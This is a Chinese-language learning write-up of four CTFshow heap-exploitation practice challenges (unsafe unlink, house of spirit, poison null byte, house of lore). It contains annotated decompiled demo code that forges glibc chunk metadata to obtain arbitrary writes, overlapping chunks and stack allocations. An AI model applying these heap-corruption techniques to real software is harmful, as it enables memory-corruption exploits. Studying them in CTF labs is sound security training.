pwn150(unsafe_unlink)
unsafe_unlink

继续学习新知识,先来checksec一下

64位开了canary和nx
本地运行一下
faetong@faetong-virtual-machine:~/pwnit$ ./pwn150
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Unsafe_Unlink
* *************************************
当你在已知位置有指向某个区域的指针时,可以调用 unlink
最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入
全局变量 chunk0_ptr 在 0x6020d0, 指向 0x2687b2a0
我们想要破坏的 chunk 在 0x2687b330
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x6020b8
Fake chunk 的 bk: 0x6020c0
现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块
现在释放掉 chunk1,会触发 unlink,合并两个 free chunk
此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: Hello!~
$sh
$ $ ls
flag pwn150
$ cat flag
flag{Inoue_Takina}
$
这个文字有点看不懂,接下来先不着急,问问知识点
首先unsafe_unlink是什么:
unsafe unlink 是 glibc 早期堆管理的一类漏洞利用方式
利用 free 合并(unlink)时的链表操作漏洞
来实现 任意地址写(Arbitrary Write)
这种利用方式依赖于:
- glibc 版本较老(如 2.23–2.27)
- 使用 fastbin 之前的 normal bin / small bin / unsorted bin unlink 机制
- unlink 操作里检查不严格(没有完整的安全校验,只有 FD->bk == P && BK->fd == P)
这道题的核心操作就是: 用 free 操作破坏全局指针 chunk0_ptr,使其指向我们想要的位置,从而覆盖任意内容。
接下来需要读读代码,了解整个过程干了什么,方便调试:
主要看demo:
void __cdecl demo()
{
uint64_t *chunk1_ptr; // [rsp+10h] [rbp-20h]
uint64_t *chunk1_hdr; // [rsp+18h] [rbp-18h]
char victim_string[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
fwrite(&ptr_, 1u, 0x4Du, stderr);
fwrite(&ptr__0, 1u, 0x55u, stderr);
fwrite(&ptr__1, 1u, 0x56u, stderr);
//创建两个chunk
chunk0_ptr = (uint64_t *)malloc(0x80u);
chunk1_ptr = (uint64_t *)malloc(0x80u);
fprintf(stderr, &format_, &chunk0_ptr, chunk0_ptr);
fprintf(stderr, &format__0, chunk1_ptr);
fwrite(&ptr__2, 1u, 0x24u, stderr);
fwrite(&ptr__3, 1u, 0x66u, stderr);
//下面是在伪造fake chunk
// chunk0_ptr[2] 是 fake_chunk.fd
// 设置 fd = &chunk0_ptr - 3,也就是 chunk0_ptr 地址附近的位置
chunk0_ptr[2] = (uint64_t)(&chunk0_ptr - 3);
fwrite(&ptr__4, 1u, 0x6Au, stderr);
fwrite(&ptr__5, 1u, 0x55u, stderr);
// chunk0_ptr[3] = fake_chunk.bk
// 设置 bk = &chunk0_ptr - 2
chunk0_ptr[3] = (uint64_t)(&chunk0_ptr - 2);
fprintf(stderr, aFakeChunk, chunk0_ptr[2]);
fprintf(stderr, aFakeChunk_0, chunk0_ptr[3]);
fwrite(&ptr__6, 1u, 0x50u, stderr);
//修改 chunk1 的 metadata
// chunk1 的 header 从 data 往前 2 个 uint64
chunk1_hdr = chunk1_ptr - 2;
fwrite(&ptr__7, 1u, 0x95u, stderr);
// 第一步:修改 prev_size = 128 (0x80)
// 这个值必须等于 fake chunk 的 size,使 free 认为前面是 free chunk
*chunk1_hdr = 128;
fprintf(stderr, &format__1, *(chunk1_ptr - 2));
fwrite(&ptr__8, 1u, 0x61u, stderr);
// 第二步:把 chunk1 的 prev_inuse 标志位清零
// 即 size 字段最低位 &= ~1
// 让 free 认为前面 chunk 是 "free 的"
chunk1_hdr[1] &= ~1uLL;
fwrite(&ptr__9, 1u, 0x44u, stderr);
//第四步:free(chunk1) 触发 unsafe unlink
free(chunk1_ptr);
// free 时 glibc 检查 chunk1 前面的 chunk 是否 free
// 由于 prev_inuse=0 且 prev_size=0x80
// free 会认为 chunk0 的 fake chunk 是 free chunk
//
// 它会执行 unlink(fake_chunk)
// 其中 fd/bk 被伪造为 &chunk0_ptr 附近
// 于是 unlink 会覆盖 chunk0_ptr ——> 任意地址写发生!
fwrite(&ptr__10, 1u, 0x46u, stderr);
//第五步:正常写入 victim_string
strcpy(victim_string, "Hello!~");
//第六步:利用 chunk0_ptr 写任意地址
// chunk0_ptr 已经被我们利用 unlink 覆盖,
// 现在它不再指向原来的堆块,而是我们想要的地址
chunk0_ptr[3] = (uint64_t)victim_string;
fwrite(&ptr__11, 1u, 0x5Fu, stderr);
fprintf(stderr, &format__2, victim_string);
// 第七步:任意地址写最终效果
// 由于 chunk0_ptr 现在指向 victim_string
// *chunk0_ptr = 0x4141414142424242 就写到了 victim_string 里面!
*chunk0_ptr = 0x4141414142424242LL;
fprintf(stderr, &format__3, victim_string);
}
其实读完脑子还是发懵把 chunk1 的 prev_inuse 标志位清零还是没看懂
ok初步了解了这个利用过程,我们来调试一下程序,看看利用原理
可能需要先换一换依赖:

首先是创建两个chunk

不对啊,为什么前面这么大个chunk,好像不是2.27
换一换,是2.23

现在两个chunk已经创建好了
然后是伪造fake chunk.fd等一系列操作,我们就运行到free之前

fake fd=0x6020b8,fake bk=0x6020c0,fake fd+0x18=fake bk+0x10=0x6020d0
原本的0x91被改为0x90
表示上一个chunck是释放状态,紧接着
fake prev size=0x80,本来是0x90的size,被篡改了
释放chunck的时候,会检查相邻的chunck是否也是被释放的(检查inuse),然后根据prev size去查找上一个chunck,此时prev size=0x80,那就把fake fd和fake bk当作真正的fd和bk了
然后在free前


free指向的是0x6030a0
然后free

我们看看chunk0_ptr

是已经被改变过了,虽然还是有一点不理解,先拿个flag吧

难的捏…
pwn151(house_of_spirit)

house_of_spirit,又来学习新知识
checksec:

64位开了canary和nx
faetong@faetong-virtual-machine:~/pwnit$ ./pwn151
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : House_of_spirit
* *************************************
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7ffdaeb1b128 第二个在 0x7ffdaeb1b168.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7ffdaeb1b130.
free!
现在 malloc 的时候将会把 0x7ffdaeb1b130 给返回回来
malloc(0x30): 0x7ffdaeb1b130
Finish!
$sh
$ $ cat flag
flag{Inoue_Takina}
$
依旧看不懂TAT,先了解一下什么是house_of_spirit
house_of_spirit是什么
House of Spirit 是一种堆利用技巧,它允许攻击者把任意地址伪装成一个 chunk,并让 malloc() 返回这个伪造的地址。
利用思路:
- 伪造 chunk 头(fake chunk)
- 调用 free(fake_chunk) —— 把它丢进 fastbin
- 再次 malloc() —— malloc 会从 fastbin 取到这个 fake chunk
- 于是用户拿到一个自己任意控制的地址
最终就能把 malloc 的返回值定位到任意可写区域(例如 .bss, 栈,或全局变量区)。
似乎又是涉及到对chunk头的伪造
House of Spirit 的实质
你强行让 glibc 把一个你伪造的 fake chunk 当成正确的 chunk 进行管理。
这个 fake chunk 原本不属于堆,也不是 malloc 分配的。但通过 carefully-crafted headers,glibc 无法区分真假。
再次理解一下为什么要伪造
因为 free(chunk) 会做这些检查:
chunk->size 要满足 fastbin 的范围(≤ 0x78)
chunk->size 的最低 3 bits 要满足 certain rules
- bit0 (prev_inuse) = 1
(fastbin 上 chunk 的 P 位不改变) - bit1, bit2 必须是 0(因为不在 smallbin/largebin)
了解了一下原理,现在来看看实现过程
来看看代码:
void __cdecl demo()
{
unsigned __int64 *b; // [rsp+8h] [rbp-68h]
unsigned __int64 fake_chunks[10]; // [rsp+10h] [rbp-60h] BYREF
__int64 v2; // [rsp+60h] [rbp-10h]
unsigned __int64 v3; // [rsp+68h] [rbp-8h]
v3 = __readfsqword(0x28u);
fwrite(&ptr_, 1u, 0x2Du, stderr);
fwrite(&ptr__0, 1u, 0x64u, stderr);
malloc(1u);
fwrite(&ptr__1, 1u, 0x25u, stderr);
fprintf(stderr, &format_, 80, &fake_chunks[1], &fake_chunks[9]);
fwrite(&ptr__2, 1u, 0xCBu, stderr);
//构造 fake chunk 的 size 字段
//fake_chunks[1](地址) = fake_chunk->size = 0x40
//0x40 是 fastbin 的合法大小(对应 malloc(0x30)
fake_chunks[1] = 64;
fwrite(&ptr__3, 1u, 0x53u, stderr);
//构造 next chunk 的 size 字段
//4660 = 0x1234,这是 next_chunk->size 的值
//free() 会检查 next chunk 大小必须:
//- >= 0x10
//- < av->system_mem (128KB)
//- alignment 正确
//0x1234 满足条件,所以 free() 会认为这是合法的“下一个 chunk”。
fake_chunks[9] = 4660;
//构造 fake chunk 的 fd 内容
fake_chunks[2] = 0x4141414141414141LL;
v2 = 0x4141414141414141LL;
fprintf(stderr, &format__0, &fake_chunks[2]);
fwrite("free!\n", 1u, 6u, stderr);
//释放 fake chunk
free(&fake_chunks[2]);
/*
因为上一步 free(fake_chunk)已经把 fake chunk 链到了 fastbin[0x40] 中
所以 malloc(0x30) 会返回 fake chunk 的用户区地址
b == &fake_chunks[2]
*/
fprintf(stderr, &format__1, &fake_chunks[2]);
//malloc 取出 fake chunk
b = (unsigned __int64 *)malloc(0x30u);
fprintf(stderr, "malloc(0x30): %p\n", b);
//测试写入
*b = 0x4242424242424242LL;
fwrite("Finish!\n", 1u, 8u, stderr);
}
ok基本流程了解了,可以调试一下程序了
在free之前某处的chunk:

在演示中我们知道0x7fffffffde08是fake chunk1的地址
我们从0x7fffffffde00去看一个完整的chunk

可以发现chunk已经伪造好了,之前伪造的size和fd也是能一眼看到
现在chunk就满足检查的条件可以被free了

可以发现fake chunk1已经进入了fastbin之后我们可以把它申请回来


已经可以写入了,改变了栈上的值
最后拿个flag

pwn152(poison_null_byte)

poison_null_byte
这个知识还没有见过呢hh,先checksec一下

64位开了canary和nx,运行一下看看演示
faetong@faetong-virtual-machine:~/pwnit$ ./pwn152
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Posion_null_byte
* *************************************
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x1eace2a0
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x1eace3b0
c: 0x1eace5c0
另外再申请了一个 chunk c:0x1eace6d0,防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x1eace7e0
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0
但是我们之前写 0x200 那个地方已经改成了: 200
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x1eace8f0
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x1eace980,我们填充一下 d 为 "D"
现在 b2 的内容就是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
$sh
$ $ cat flag
flag{Inoue_Takina}
$
前面还能看懂,但是后面就有些懵了
什么是poison_null_byte(又叫 Off-by-Null )
Poison Null Byte = 利用一个字节的溢出,将下一个 chunk 的 size 字段尾字节清零,进而欺骗 unlink 合并机制,最终实现堆块重叠(overlapping chunks)。
大白话总结:
只要你能向下一个 chunk 的 size 多写一个字节 0x00,就能把它的 size 改小,欺骗 GLIBC,让你强行拿到本不属于你的 chunk。
好像又是想办法改size
为什么清零一个 byte 就能破坏 chunk 的 size?
因为 chunk size 是 8 字节对齐:
例如 chunk b 的 size = 0x211
尾字节是 0x11
0x0000000000000211
如果我们 off-by-null 溢出,把尾字节写成 0x00:
0x0000000000000200
size 就变成:
0x200(512)
chunk b 的大小被强行缩小了(本来是 0x211)。
这一步就是核心:利用 off-by-one 写 0x00 改写 size。、
为什么可以利用
free() 合并 chunk 时要进行检查:
合并的条件(关键):
next_chunk->prev_size == this_chunk->size
如果我们把 size 改小,就可以制造一个假的 size,使两个 chunk“匹配”,从而合并出一个大 chunk。
最终结果就是:
你可以制造两个 chunk 重叠,从而覆盖不应该覆盖的数据
代码注释,理清步骤
void __cdecl demo()
{
int real_a_size; // [rsp+4h] [rbp-4Ch]
uint8_t *ptr; // [rsp+8h] [rbp-48h]
uint8_t *b; // [rsp+10h] [rbp-40h]
uint8_t *c; // [rsp+18h] [rbp-38h]
void *barrier; // [rsp+20h] [rbp-30h]
uint8_t *b1; // [rsp+38h] [rbp-18h]
uint8_t *b2; // [rsp+40h] [rbp-10h]
uint8_t *d; // [rsp+48h] [rbp-8h]
fwrite(&ptr_, 1u, 0x35u, stderr);
fwrite(&ptr__0, 1u, 0x19u, stderr);
//chunka
ptr = (uint8_t *)malloc(0x100u);
fprintf(stderr, aA, ptr);
real_a_size = malloc_usable_size(ptr);
fprintf(stderr, &format_, (unsigned int)real_a_size);
//创建chunkb和chunkc
b = (uint8_t *)malloc(0x200u);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t *)malloc(0x100u);
fprintf(stderr, "c: %p\n", c);
//分配 barrier,防止 c 合并 top chunk
barrier = malloc(0x100u);
fprintf(stderr, &format__0, barrier);
fwrite(&ptr__1, 1u, 0x70u, stderr);
//伪造 b 的 next chunk 的 prev_size
*((_QWORD *)b + 62) = 512;
//先 free(b),这样 b 进入 unsorted bin
free(b);
fprintf(stderr, aB, *((_QWORD *)b - 1));
fwrite(&ptr__2, 1u, 0x52u, stderr);
//off-by-null 漏洞触发:写 0x00
ptr[real_a_size] = 0;
// ptr 的 length = 0x100,但我们写 real_a_size 的位置
// real_a_size = chunk a 的真实大小 = 0x108
// real_a_size 处是 chunk b 的 size 最后一字节!
// 所以这是 Poison Null Byte 关键操作
fprintf(stderr, aB_0, *((_QWORD *)b - 1));
fprintf(stderr, aC, *((_QWORD *)c - 2));
fprintf(stderr, &format__1, *((_QWORD *)b - 1), *(_QWORD *)&b[*((_QWORD *)b - 1) - 16]);
b1 = (uint8_t *)malloc(0x100u);
fprintf(stderr, &format__2, b1);
fprintf(stderr, &format__3, *((_QWORD *)c - 2));
fprintf(stderr, &format__4, *((_QWORD *)c - 4));
fwrite(&ptr__3, 1u, 0x2Eu, stderr);
//申请b2受害者
b2 = (uint8_t *)malloc(0x80u);
fprintf(stderr, aB2, b2);
memset(b2, 66, 0x80u);
fprintf(stderr, &format__5, b2);
fwrite(&ptr__4, 1u, 0x87u, stderr);
free(b1);
free(c);
fwrite(&ptr__5, 1u, 0x4Cu, stderr);
//malloc 一个大块覆盖 b2
d = (uint8_t *)malloc(0x300u);
fprintf(stderr, aD, d);
memset(d, 68, 0x300u);
fprintf(stderr, &format__6, b2);
}
调试一下,看看变化
首先是申请了4个chunk

我们现在关注chunkb

free以后


可以看到chunkb归入了unsortedbin

接下来就是写入0x00

size已经发生了变化,变成了0x200,让 unlink 检查通过:
chunksize(B) == prev_size(C)

接下来申请b1


接着我们就要释放2,3

现在他们是被合并了,
free(b1) 和 free(c) → 合并成大 chunk
虽然中间有 chunk b2,但也会被包含进去!
malloc 大 chunk 覆盖 b2
获得堆块重叠 overlapping chunk primitive。

可以从下面看看他干了些啥

然后就是申请回来,写入数据,就可以改变中途分割的那几个chunck的值了

要写入68(0x44)

可以看到已经入侵了很多的0x44,就是覆盖了chunkb2的内容,最后拿个flag吧

应该就是两面夹击干掉了b2
pwn153(house_of_lore)

house_of_lore,前面学了以下house_of_spirit,现在是house_of_lore
先checskec

64位开了canary和nx
运行一下看看演示
小提示:本地运行可能需要更换libc和ld,可以用patchelf
faetong@faetong-virtual-machine:~/pwnit$ ./pwn153
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : House_of_lore
* *************************************
定义了两个数组stack_buffer_1 在 0x7fffa4f547f0
stack_buffer_2 在 0x7fffa4f547d0
申请第一块属于 fastbin 的 chunk 在 0x1b7b010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x1b7b080
Free victim chunk 0x1b7b010, 他会被插入到 fastbin 中
此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)
这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x1b7b010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7782457c4bd8
victim->bk: 0x7782457c4bd8
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)
在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7782457c4bd8
p4 在栈上 0x7fffa4f54800
$sh
$ $ ls
flag ld-2.23.so ld-2.27.so libc-2.23.so libc-2.27.so pwn150 pwn151 pwn152 pwn153
$ cat flag
flag{Inoue_Takina}
$
比较重要的就是绕过检查和修改指针,接下来先看看知识点
什么是house_of_lore
通过 small bin 的双向链表完整性检查,把“栈上的伪 chunk”合法地挂进 small bin,让 malloc 返回栈地址。
前提:glibc<=2.27,这道题是2.23
smoll bin使用双向链表
我们需要绕过的检查是:
if (bck->fd != victim)
malloc_printerr("smallbin corrupted");
注释代码
void __cdecl demo()
{
const void **victim; // [rsp+10h] [rbp-80h]
void *p5; // [rsp+20h] [rbp-70h]
char *p4; // [rsp+38h] [rbp-58h]
intptr_t *stack_buffer_2[3]; // [rsp+40h] [rbp-50h] BYREF
intptr_t *stack_buffer_1[4]; // [rsp+60h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+88h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(stack_buffer_1, 0, sizeof(stack_buffer_1));
memset(stack_buffer_2, 0, sizeof(stack_buffer_2));
fwrite(&ptr_, 1u, 0x15u, stderr);
fprintf(stderr, aStackBuffer1, stack_buffer_1);
fprintf(stderr, aStackBuffer2, stack_buffer_2);
//申请victim chunk
victim = (const void **)malloc(0x64u);
fprintf(stderr, &format_, victim);
fwrite(&ptr__0, 1u, 0x21u, stderr);
fwrite(&ptr__1, 1u, 0x88u, stderr);
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
//fake chunk size 指向 victim 的chunk header
//伪造合法 small bin chunk size
stack_buffer_1[2] = (intptr_t *)(victim - 2);
//stack_buffer_1->size = victim->size
fwrite(&ptr__2, 1u, 0xCBu, stderr);
//构造 fake 双向链表,用于绕过small bin的完整性检查
stack_buffer_1[3] = (intptr_t *)stack_buffer_2;
stack_buffer_2[2] = (intptr_t *)stack_buffer_1;
//防止 top 合并
p5 = malloc(0x3E8u);
fprintf(stderr, &format__0, p5);
fprintf(stderr, aFreeVictimChun, victim);
//释放 victim(进入 fastbin)
free(victim);
fwrite(&ptr__3, 1u, 0x28u, stderr);
fprintf(stderr, "victim->fd: %p\n", *victim);
fprintf(stderr, "victim->bk: %p\n\n", victim[1]);
fprintf(stderr, &format__1, victim);
//触发 fastbin consolidate → small bin
//fastbin → unsorted bin → small bin
malloc(0x4B0u);
fwrite(&ptr__4, 1u, 0x43u, stderr);
fprintf(stderr, "victim->fd: %p\n", *victim);
fprintf(stderr, "victim->bk: %p\n\n", victim[1]);
fwrite(&ptr__5, 1u, 0x5Fu, stderr);
//漏洞点:覆盖 victim->bk
victim[1] = stack_buffer_1;
fwrite(&ptr__6, 1u, 0x35u, stderr);
fwrite(&ptr__7, 1u, 0x4Eu, stderr);
//第一次 malloc:取走 victim
malloc(0x64u);
fwrite(&ptr__8, 1u, 0x39u, stderr);
//bin → stack_buffer_1 → stack_buffer_2 → bin
//第二次 malloc:返回栈地址
p4 = (char *)malloc(0x64u);
fwrite("p4 = malloc(100)\n", 1u, 0x11u, stderr);
fprintf(stderr, asc_4018D8, stack_buffer_2[2]);
fprintf(stderr, aP4, p4);
*((_QWORD *)p4 + 5) = demoflag;
}
这道题的攻击流程
来粗略的调试看看这道题的流程
首先申请一个在fastbin范围的chunk

接着就是在伪造fake chunk
我们先把另外一个堆创建好再来看看栈上的情况


现在已经绕过检擦,接下来free victim chunk进入fastbin
fd现在是0


接下来将会再取出时触发机关进入smollbin,然后覆盖bk



接下来是利用smollbin的漏洞覆盖bk

此时bk成为了栈上的地址
然后malloc先取走victim chunk
可以观察bin链表的变化

现在是这样
malloc一次后:

最后malloc返回栈地址

可以看到0x7fffffffde70已经出去了

栈上伪造 small bin chunk
→ fastbin free
→ consolidate 进 small bin
→ 覆盖 victim->bk
→ small bin unlink 检查绕过
→ malloc 返回栈地址
最后拿个flag吧

ok,前置先到这里,因为学多了也不熟练,先往后做几个简单的应用加深理解吧~










